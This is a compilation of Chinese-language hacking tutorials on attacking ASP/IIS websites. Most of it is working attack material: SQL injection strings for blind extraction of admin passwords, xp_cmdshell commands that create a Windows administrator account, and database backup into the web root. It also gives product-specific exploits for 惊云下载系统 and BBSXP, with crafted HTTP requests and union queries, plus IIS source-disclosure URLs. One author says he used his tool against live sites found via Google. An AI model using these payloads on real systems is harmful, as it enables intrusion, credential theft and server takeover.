注入的参数为ID=49 And [查询条件]，即是生成语句：
Select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ，即是生成语句：
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’， 即是生成语句：
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着，将查询条件替换成SQL语句，猜解表名，例如：
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。
表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。
有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。
有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。
最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。
我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：
http://www.19cn.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
先说明原理：如果top 1的username长度大于0，则条件成立；接着就是>1、>2、>3这样测试下去，一直到条件不成立为止，比如>7成立，>8不成立，就是len(username)=8
    当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。
第二节、ＳＱＬ注入常用函数
有SQL语言基础的人，在ＳＱＬ注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。
Access：asc(字符) SQLServer：unicode(字符)
作用：返回某字符的ASCII码
Access：chr(数字) SQLServer：nchar(数字)
作用：与asc相反，根据ASCII码返回字符
Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)
作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串
Access：abc(数字) SQLServer：abc (数字)
作用：返回数字的绝对值（在猜解汉字的时候会用到）
Access：A between B And C SQLServer：A between B And C
作用：判断A是否界于B与C之间
第三节、中文处理方法
在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，“中文恐惧症”很快可以克服。
先说一点常识：
Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。
SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。
了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。
高 级 篇
看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。
第一节、利用系统表注入SQLServer数据库
SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
    分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
    将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。
    ③ http://Site/url.asp?id=1 ;and db_name()>0
前面有个类似的例子and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot.db’;--
这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\202.96.xx.xx\Share .db），但成功率不高。
    ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。
⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
    以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。
在“ＳＱＬ注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：
简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where
        xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where
        name=nchar(29992)+nchar(25143)代替。
第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。
3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。
4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。
防 范 方 法
ＳＱＬ注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：


惊云下载系统现惊人漏洞

文章作者：xiaohuar
惊云下载系统edit.asp文件存在SQL注入漏洞，后台存在任意文件上传漏洞
惊云下载系统以前有个漏洞好象在user.asp，不知现在修补没有。本人这次和大家讲件edit.asp文件的漏洞，一来发布一个
漏洞，二教教大家如何发现和利用漏洞。我一行一行解释。
<%
user=Request.cookies("JyDownUserName")
'取得用户COOKIE并存入USER变量
if user<>"" then
user=replace(user," ","+++ close")
'给USER变量替换空格
else
response.write("<li>您没有进入本页面的权限,本次操作已被记录!<br><li>如果你是本站会员请先<a href=login.asp target=_top>登陆</a>后进入.")
response.end
end if
'上面判断COOKIE是否为空，空则跳转，等会我们构造COOKIE欺骗，让JyDownUserName这个COOKIE值不为空，至于为多少，等会说。

server_vv=len(Request.ServerVariables("SERVER_NAME"))
server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv)
server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv)
if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" then
response.write("<script>alert('错误：禁止从站点外部提交数据!.')</script>")
response.end
end if
'上面判断网页是否是从浏览器点击而进入的，我们同样可以伪造是这个地方为真，再此不再赘述
%>

<!--#include file="mdb_path_user.asp"-->
<!--#include file="char.inc"-->
<!--#include file="config.asp"-->
'上面是头文件包含，没什么用，忽略就行了
<%
pwd=replace(request.form("pwd")," ","+++ close")
set rs=server.CreateObject("ADODB.RecordSet")
rs.open "select * from UserInfo where user='"&user&"'",conn,1,2
'关键的一句注入点，因为user=replace(Request.cookies("JyDownUserName"),," ","+++ close"),很明显没有过滤单引号
if rs.eof then
JyDownMsg="错误:"&user&"用户资料读取错误,请重新登陆!"
'注入条件判断语句，没有它都不能确定是否成功，返回此句代表失败
else
if request("type")="save" then
if pwd="" then
JyDownMsg="错误:要修改资料必需填写原密码!"
else
if pwd<>rs("pwd") then
JyDownMsg="错误:原密码错误!"
'注入条件判断语句，没有它都不能确定是否成功，返回此句代表成功，至于为什么我真得无法用语言表达了，还是自己想吧。这句以下已经没有意义了。解释至此
else
qm=htmlencode(request.form("qm"))
if len(qm)>250 then
JyDownMsg="错误:个性签名多于250个字符!"
else
.........
好了，已经知道注入的地方，而且知道成功的标志，同时知道表的结构（网上可以找到嘛），便可以利用了。
到底如何利用呢？当然最好是搞定管理员的用户和密码拉。

我用WSE抓包后，整理如下（以我自己的机器做实验)
POST /admin/edit.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
1 Referer: http://localhost/
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
Host: localhost
Content-Length: 125
Connection: Keep-Alive
cache-Control: no-cache
2 Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=aaaaaaaa'%09union%09select%09*%09from%09userinfo%09where%09id%3D1%09and%09len(pwd)%3D1%09and%09'1%3D1
type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oicq=33337788&email=fsadf@fsf.com&homepage=&qm=&softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4
上面两处是需要注意的，有序号。其他地方随便添，按照我上面的就行了。
1处是为了逃避上面讲到的防网页不是从点击近来的,把这个值设为网址就行了，没什么好讲的。
2处是最关键的，我上面提到了COOKIE欺骗，这里不但要欺骗还有注入。
JyDownUserName这个值我们把它设为了
aaaaaaaa' union select * from userinfo where id=1 and len(pwd)=1 and '1=1
这个。上面是经过编码的。其中%09是TAB键的编码，为了躲过空格过滤。它和空格是等价的，真的谢谢MS工程师开发软件总是为用户着想，生怕功能不强。
程序作者只过滤了空格欠考虑。

把上面的值代入到原程序总就变为了（应该学过代数啊，呵呵）
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=1 and '1=1'
那个a串没什么意义，就是为了使前面语句为假，没有这个用户就行了，可以是任意特殊字符串。后面的SELECT是重点。
ID=1是猜id为1的用户，其实就是管理员用户。不过有的管理员可能改了，那就不灵了。猜他的长度是不是1。
很显然是1可能性很小，不要紧，猜错了，会返回"错误:....用户资料读取错误,请重新登陆!"中间省了一部分。
我们把语句换成
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=2 and '1=1'
返回"错误:....用户资料读取错误,请重新登陆!"，看来用户名长度也不是2，再换。
换到5是返回 "错误:原密码错误!"，看来用户名长度就是5了。同样方法猜出密码长度7。
该猜字符。
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and asc(mid(user,1,1)=40 and '1=1'
上面的语句大家能看懂吧？用mid函数是截取一个字符，然后转换成ASCII码，再和40比较。返回错误，说明user的第一个字符ASCII值不是40。
猜到97的时候返回"错误:原密码错误!",说明用户名第一个字符是a 。
以此类推，猜出user是admin，pwd是abcdefg.管理员的用户密码猜出来了。
上面的过程显然不可能手工输入和猜测，必须依靠工具。现成的也没有这种工具，毕人就抽了宝贵的打牌（QQ升级）时间了写了个程序，很快就猜出来了。上面是方法。

我用我写的程序在网上实验，真是无往不利。就是在GOOGLE上搜惊云系统，管理员很快猜出来了。
我登陆一个网站后，发现有个地方可以上传文件。我回过头读源代码，发现了和动网一样的文件上传漏洞，都是在路径上没做检查，允许远程命名文件名。
我抓包，提交，恩，成功。顺便又写了个脚本。这个漏洞没什么好讲的，还是看动画怎么做吧。


跨库查询还可以这样玩

本文作者：sniper@77169.com
此文已在《黑客X档案》发表
    看到这个题目各位大虾小虾先别急着找东西砸我，的确现在跨库查询的资料随便找找都可以找到一大堆，不像以前那样想看点资料还得对着一大堆E文敲脑袋。今天我要说的是我前一段时间发现的一个跨库查询的一个新玩法，大家可要仔细听哦。
    照例先介绍一下，在大概一个月前幻影旅团和灰色轨迹对这个问题进行了一些讨论就是在递交：
http://www.target.com/show.asp?id=1 or 0<>(select count(*) from admin.c)
会出现如下的错误提示：
Microsoft JET Database Engine 错误 '80004005'
找不到文件 'C:\WINNT\system32\admin.mdb'。
    看到了吧，如果看过xhacker写的那份学习报告的人肯定就已经兴奋起来了，因为那份报告隐约提到了ACCESS的一个漏洞可以Dir C:\ /s！让我们继续玩下去吧，递交：
http://www.target.com/show.asp?id=1 or 0<>(select count(*) from c:\boot.ini)
返回：
Microsoft JET Database Engine 错误 '80004005'
找不到文件 'c:\boot.mdb'。
    看样子from后面的部分我们是可以添加路径的了。既然想Dir当然就要访问了cmd.exe拉，再来：
http://www.target.com/show.asp?id=1 or 0<>(select count(*) from c:\winnt\system32\cmd.exe.c)
看看错误提示吧：
Microsoft JET Database Engine 错误 '80004005'
不可识别的数据库格式 'c:\winnt\system32\CMD.EXE'。
    看样子我们的希望落空了哦（多次实践后你可以得到from后面跟的文件名的格式应该是这样：文件名.后缀名.任何字母，这样你才可以访问到文件名.后缀名的那个文件）。这个时候这个漏洞好象我们至多只可以确定一个目录或一个文件是否存在，当时我和很多人的想法一样认为这属于鸡肋级的漏洞，食之无味，弃之可惜。
    后来在一天在帮一个朋友检测论坛安全性，看了看是用的雅艺论坛。首先我试了一下默认的数据库名。提交：http://www.target.com/yabbs/data/1yabbs.asp，没有提示找不到文件，看样子是没改数据库名了。但是由于扩展名是.asp，我们仍然无法下载他的数据库。没办法，只好到硬盘去翻了半天把我原来下载的一套雅艺论坛拿出来看代码。结果还真发现了一个激动人心的地方，在论坛自带的下载插件的down_list.asp这个文件发现这样的一段代码：
if request("id")="" then
response.write "您没有选择相关软件，请返回"
response.end
end if
set rs=server.createobject("adodb.recordset")
sql="select Dclass.class,DNclass.Nclass,download.showname,download.classid,download.Nclassid,download.lasthits,download.downshow from download,Dclass,DNclass where download.classid=Dclass.classid and download.Nclassid=DNclass.Nclassid and download.ID="&request("id")
    看见没有，&request("id")这个变量没做任何过滤就代如到查询语句中去了，我们可以进行SQL注入！说的容易，在做的时候却碰到了困难，递交如下URL：
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20admin)
    成功返回页面，OK，存在admin表。再来确定保存用户名的列名：
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20admin where username)
    也成功了，保存用户名的列为username，再来看密码列：
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20admin where password)
    出错了，没关系早有准备，再试。最后几乎把我可以想到的列名全试了个遍，既然没一个对的，这下轮到我郁闷了，问了问那个朋友对数据库做了处理没有，得到的回答是没有。那就打开他默认的数据库吧，DATA目录下有两个数据库，一个是1yabbs.asp（论坛用），一个是download.asp（下载系统用），打开一看，里面竟然根本没有密码列！看样子又没的玩了，后来在和MM闲扯的时候突然想到了利用方法（别说我和MM聊天不专心啊：）。在SQL注入的时候我们有时会用到这样语句“admin.id”其中admin是表名，id是列名。那么我们可不可以结合前一段时间讨论的那个鸡肋漏洞呢，既然想到了，那就要动手实践一下才行，用开始说的方法，先来找WEB目录：
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20c:\web\w.c.c)
返回如下信息：
Microsoft JET Database Engine 错误 '80004005'
'c:\web\w.c'不是一个有效的路径。 确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。
/yabbs/down_list.asp，行37
    目录猜错了，再来：
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20d:\web\w.c.c)
这次提示就变了：
Microsoft VBscript 编译器错误 错误'8000a03f6'
缺少 'End'
/iisHelp/common/500-100.asp，行242
Microsoft JET Database Engine 错误 '80004005'
找不到文件'd:\web\w.c'。
/yabbs/down_list.asp，行37
    这次提示找不到文件哦，呵呵，知道WEB目录就容易了大胆的猜吧。再次递交：
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.c)
这次OK，直接猜到了具体的路径，提示却正巧和我的想法一样，真是#$#$@(此时兴奋的晕过去10秒......)
返回的信息为：
Microsoft VBscript 编译器错误 错误'8000a03f6'
缺少 'End'
/iisHelp/common/500-100.asp，行242
Microsoft JET Database Engine 错误 '80040e37'
Microsoft Jet 数据库引擎找不到输入表或查询 'c'。 确定它是否存在，以及它的名称的拼写是否正确。
    好了，现在一切都将变的简单化了，递交查询语句确定表和列名。
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.admin%20where%20username)
    成功显示，说明在1yabbs.asp这个数据库中存在admin表和username列。再来查询ID值，递交如下URL：
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<>(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.admin%20where%20id=1)
    页面成功显示，现在不用我多说什么了吧，大家都会的，下面的部分就看大家的了。
回顾一下上面的分析过程我们可以干些什么呢？在面对一个大型站点，你知道他的数据库名（例如利用我上次写的那篇动网爆库漏洞的文章中提到的内容，得到了动网论坛的数据库名，但是他的数据库又不可以下载，而那套程序又没有其他已知的注入漏洞。）我们可以试试利用那个站里其他程序存在的SQL注入漏洞来进行跨库查询，先猜WEB路径，再进行跨库查询，从而得到动网论坛的密码，再进行COOKIE欺骗，就可以拿到前台权限了。利用的地方很多，大家可以自己去摸索一下，毕竟要把别人的技术变成自己的就要好好拓展别人的思路来研究。


ASP的漏洞已经算很少的了，想要找到数据库的实际位置也不简单，但这不表明黑客无孔可入，也正是这个观点，一般的程序设计员常常忘记仔细的检查是否有漏洞，所以才有可能导致网站资料被窃取的事件发生。今天我在这里和大家谈谈ASP常见的安全漏洞，以引起大家的重视及采取有效的防范措施。（注意，在本文中所介绍的方法请大家不要试用，请大家自觉遵守网络准则，谢谢！）
    Microsoft 的 Internet Information Server（IIS）提供利用 Active Server Pages（ASPs）而动态产生的网页服务。一个ASP文件，就是一个在 HTML 网页中，直接内含程序代码的文件。回询（request）一个 ASP 文件，会促使 IIS 运行网页中内嵌的程序代码，然后将其运行结果直接回送到浏览器上面。另一方面，静态的 HTML 网页，是按照其原来的样子回传到浏览器上面，没有经过任何的解析处理。在这里，IIS 是利用档案的附加档名来区别档案的型态。一个附加档名为 .htm 或 .html 的档案是属于静态的 HTML 档案，而附加档名为 .asp 的档案则为一个Active Server Pages 档案。正因为如此，这一个Active Server Pages 就给别人留了后门。
    例如，通过利用这个简单的参数，就会显示它所在的系统的时间。日期是自动从系统取得的，而以网页的方式传送出来。通过浏览器回询这个网页，我们不会看到刚刚的程序代码，而是看到程序代码的执行结果，或许在所有网络安全漏洞里面，最不受重视的就是未经过解析的文件内容或程序代码无意中被显示出来的安全漏洞。简单的说，这些安全漏洞允许使用者从网页服务器骗取动态网页里面的程序代码。
    以前最早人们利用 ASP安全漏洞的方式，就是利用 Windows NT 的数据传输串行的特性去存取档案。你只要利用一个最简单的参数（::$DATA）你就可以看到 ASP 的原始程序了。
    例如，以下的 URL：
    http://10.1.1.11/login.asp::$DATA
    你会取得一个叫做login.asp的档案中未经过解析的 ASP 程序代码。因为这个 URL 字符串并没有以 .asp 做结束，IIS 就没有办法决定这个被回询的档案是否为一个 ASP 档。
    显示的程序代码如下：
ｘｘｘｘ
alert("请输入您的 密码!!")
}
else {
document.f1.action="checkuser.asp"
document.f1.submit()
}
}
ｘｘｘｘ
    注：checkuser.asp 就是检查帐号密码的东西！
当然了，并非所有的程序代码上安全漏洞都归咎于网页服务器软件。例如，如果你采用典型安装 Widows NT Option Pack 4.0的话，安装程序会将Exploration Air 安装上去，这是提供给 ASP 程序设计员当范例用的网站应用软件程序。其中Widows NT Option Pack 4.0的 showcode.asp 档案会将 Exploration Air 范例网站的原始程序代码整齐的显示出来。由于在程序里面并没有严格的权限检验程序，一个有经验的访客就可以猜到文件名称以及它们的目录路径，他就可以利用 showcode.asp 将任何在档案系统里面的档案读取。
    这个黑客只要在他的浏览器里面用URL字符串，指定正确的文件名称以及目录路径当作 showcode.asp 的参数就可以了。例如，以下的 URL 可以让黑客看到在10.11.11.15服务器上default.asp 里面的原始程序代码:
http://10.11.11.15/msadc/Samples/SELECTOR/showcode.asp?source=/
msadc/Samples/../../../../../inetpub/wwwroot/default.asp
    msadc/Samples/SELECTOR/showcode.asp 这是一个 FSO 的范例程序，主要用意在教您如何使用 FSO 去 View ASP 的 Source ，程序中虽然有限定只能 View /msadc/samples/ 下的档案。但是利用 MapPath 中回到上一层的语法来加以破解。（你可用一连串的 "../" 来跳到档案系统的最顶层，然后将在其它目录的档案窃取出来，当然要先经过存取权这一关才可以。）
    架设有服务器的朋友可以试试看这个 Link ，试试能不能看到你根目录底下的档案 ，如果可以，那你就该注意了！
    而在IIS 5.0 的安全漏洞，其中之一就是利用 .htr 控制模块（handler）解析档案能力的安全漏洞了。IIS 的 Internet Service Manager 使用 ism.dll 来处理 .htr 档案。IIS 本身则使用 asp.dll 来处理 ASP 档案。利用 .htr 的安全漏洞，黑客可以将任何档案（包括 .asp 档，.asa 档等等）用 ism.dll 处理，而非用 asp.dll 处理。而因为 ism.dll 并非被设计用来处理 ASP 的 tag，它便直接把原始程序代码显示出来。要想利用这个安全漏洞，远程的黑客们只要在他们的 URL字符串的尾巴加上 +.htr。例如，要在10.11.11.15上看 default.asp 的原始程序代码，一个黑客可以用下面的 URL：
http://10.11.11.15/default.asp+.htr
    这时你只要在浏览器的菜单栏，选择“查看/源文件”就可以看到 ASP的程序，一切都很简单，防火墙挡不住这个。不过，和showcode.asp不一样的是，这个漏洞不能让黑客们直接在网站服务器文件根目录之外窃取出指定的档案。另外，如果 ASP 文档有 的卷标，这个方法运作起来也不会很顺利。在碰到 % 符号时，输出结果会被终止掉。因此，利用这个漏洞所能窃取的一般是使用 SCRIPT RUNAT="SERVER" ... /SCRIPT 卷标的 ASP 文件。
    一般说来，在任何一个建在 IIS ASP 以及 SQL Server 之上的网站中，让黑客感兴趣的资料是global.asa。这个global.asa 档案是存在于网站文件根目录之下，它含有一些网页应用程序的设定参数。设定的参数可以包括事先定义好的变量，数据库使用者识别码及密码，系统名称，以及数据库服务器地址。一旦黑客们取得 global.asa，就等于取得了整个网站大门的钥匙。
例如，利用以下的URL: http://10.11.11.15/global.asa+.htr可以取得10.11.11.15上面的 global.asa 档案。注意那个数据库连接字符串中的 UID 和 PWD。这给了黑客一个使用者名称以及密码:
SCRIPT LANGUAGE="VBScript" RUNAT="Server">
Sub Application_OnStart
Set Db = Server.CreateObject("Commerce.DbServer")
Db.ConnectionString = "DSN=trans.db;UID=sa;PWD=n0t4u2c"
Db.Application = http://10.11.11.15/
Set Application("Db") = Db
End Sub
Sub Session_OnStart
'==Visual InterDev Generated - DataConnection startspan==
'--Project Data Connection
Session("DataConn_ConnectionString") =
"DSN=CertSrv;DBQ=C:\WINNT2\System32\CertLog\certsrv.mdb;DriverId=25;
FIL=MS Access;MaxBufferSize=512;PageTimeout=5;"
Session("DataConn_ConnectionTimeout") = 15
Session("DataConn_CommandTimeout") = 30
Session("DataConn_RuntimeUserName") = ""
Session("DataConn_RuntimePassword") = ""
'==Visual InterDev Generated - DataConnection endspan==
End Sub
/SCRIPT

    Microsoft 已经以修正这项安全漏洞。
    在.htr 安全漏洞得到修正之后，黑客们又找到了新的切入点：Translate: f 模块的安全漏洞。Translate: f 模块是 Microsoft 为了 FrontPage 2000 以及 FrontPage 2000 Server extensions on Windows 2000 而设计的 WebDAV 的一部份。如果一个反斜线（\）被附加到所要求的档案资源之后，而且 Translate: f 模块在提出回询的 HTTP 表头标题里面，那么网页服务器就会回传完全未经处理的 ASP 原始程序代码。
    下面是一个使用 Netcat（相关网址：http://www.l0pht.com/~weld/netcat/）送出回询的 HTTP 表头，可以用来取得10.11.11.15上面 default.asp 的原始程序代码:
$ nc10.11.11.1580
GET /default.asp%5C HTTP/1.0
Host: 10.11.11.15
User-Agent: Mozilla/4.0
Content-Length: 18
Content-Type: text/html
Translate: f
match=www&errors=0
    注意：在 GET 回询中，用了%5C。 反斜线字符（\）的十六位 ASCII 码表示方式就是 %5C。 这个方法，在 ASP 以及 ASA 的档案里面都可以使用。另外，在IIS 4.0 上安装运行FrontPage 2000 Server extensions 会存在这种安全漏洞。如果你相进一步了解该项安全漏洞的更多信息，可以在 http://www.securityfocus.com/bid/1578 ，此外Microsoft 也已经公布了修复的patch （下载网址：http://download.microsoft.com/download/win2000platform/Patch/Q256888/NT5/EN-US/Q256888_W2K_SP1_x86_en.EXE。）
    结论：
    系统架设时的不小心，程序编写时的不注意，往往就是可能导致泄密的主因。为了减少你的网页服务器不会再遭受这种安全漏洞的威胁，你要确定你的网页服务


BBSXP5.1漏洞再现

文章作者：小花
前期杂志有篇文章是关于BBSXP的，用的是Cookie注入攻击，作者真是思路巧妙，可以想到逻辑漏洞。当时看了文章后，学校有事情就没读代码。暑假闲着无事，所以就把最新版的BBSXP下载下来读了一遍。BBSXP确实短小精悍，文件有少又短，不过比起DVBBS无论从功能上还是界面上还是有点差别，不过从漏洞上比还确实无分上下，经过了3年的测试，还是多少有点瑕疵。

一．漏洞寻找

论坛对字符串输入用HTMLEncode转换，数字类型的用int函数调整，Isnumeric函数判断。很显然查询中有数字和字符串作为值输入的肯定不能利用了。不能做为值输入可以做为什么输入呢？这就是问题的关键。我把每个文件带着这个思路粗略浏览了一遍，用了很长时间才在search.asp（好象以前就有过漏洞，改了原来的却有了新的）找到了漏洞，一起看看代码。

<!-- #include file="setup.asp" -->

<%

top

if Request.Cookies("username")=empty then error("<li>你还未<a href=login.asp>登录</a>社区")

DetectPost

if Request("menu")="ok" then

search=Request("search")

forumid=Request("forumid")

TimeLimit=Request("TimeLimit")

content=HTMLEncode(Request("content"))

searchxm=HTMLEncode(Request("searchxm"))

searchxm2=HTMLEncode(Request("searchxm2"))

searchxm2=replace(searchxm2,"@","&")

if content=empty then content=Request.Cookies("username")

if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"

if search="author" then

item=""&searchxm&"='"&content&"'"

elseif search="key" then

item=""&searchxm2&" like '%"&content&"%'"

end if

if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""

sql="select top "&MaxSearch&" * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimitList&" order by lasttime Desc "

rs.Open sql,Conn,1

......

我们仔细研究一下 sql="select top "&MaxSearch ...这句，其中MaxSearch是定义好的，默认值为500，剩下3处是从外面输入的。

1．if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"

只要forumid输入为空，那么forumidor就为空.

2．if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""

TimeLimit是个整数，随便输入（输入个1），那么TimeLimitList变成" and lasttime>now()-1",在MSSQL中变成" and lasttime>getdate()-1".

3. if search="author" then

item=""&searchxm&"='"&content&"'"

elseif search="key" then

item=""&searchxm2&" like '%"&content&"%'"

end if

只要search="author",content随便输入(输个abcd)，那么item= HTMLEncode(searchxm)='abcd',只要我们构造好输入，通过上面的语句，就把SQL语句变为：

select top 500 * from forum where deltopic<>1 and [ HTMLEncode(searchxm)] ='abcd' and lasttime>now()-1 order by lasttime Desc

用中括号括起来的部分前后都没单引号，显然可以利用了。

先看看 HTMLEncode函数

function HTMLEncode(fString)

fString=replace(fString,";",";")

fString=server.htmlencode(fString)

fString=replace(fString,"'","'")

fString=replace(fString,"--","--")

fString=replace(fString,"\","\")

fString=replace(fString,vbCrlf,"<br>")

HTMLEncode=fString

end function

过滤了"; ‘ -- \ vbcrlf"，还有"< > &"等，其实过滤的也算严密了，程序员也挺难的，过滤多了可能影响使用，少了又会出安全问题。过滤了这么多我们该如何利用呢？大家自然想到了猜测，是一个可行的办法，表的结构也都知道了，也很容易猜的。不过我还是用个简单的办法吧。

二．漏洞利用

还是用本人很熟悉的union查询，对ACCESS和MSSQL都有效。构造过程本人就不写了，直接给大家看结果。

select top 500 * from forum where deltopic<>1 and

forumid=0 union all select top 1 1,1,[user].username as topic,forum.use

rname,content,forum.posttime,forum.postip,1,1,1,1,1,1,1,[user].userpass as lastname,lasttime,polltopic,clubconfig.adminpassword as pollresult,1 from [user],forum,clubconfig where [user].membercode=5 or forum.id=0 or clubconfig.adminpassword

='abcd' and lasttime>now()-1 order by lasttime Desc

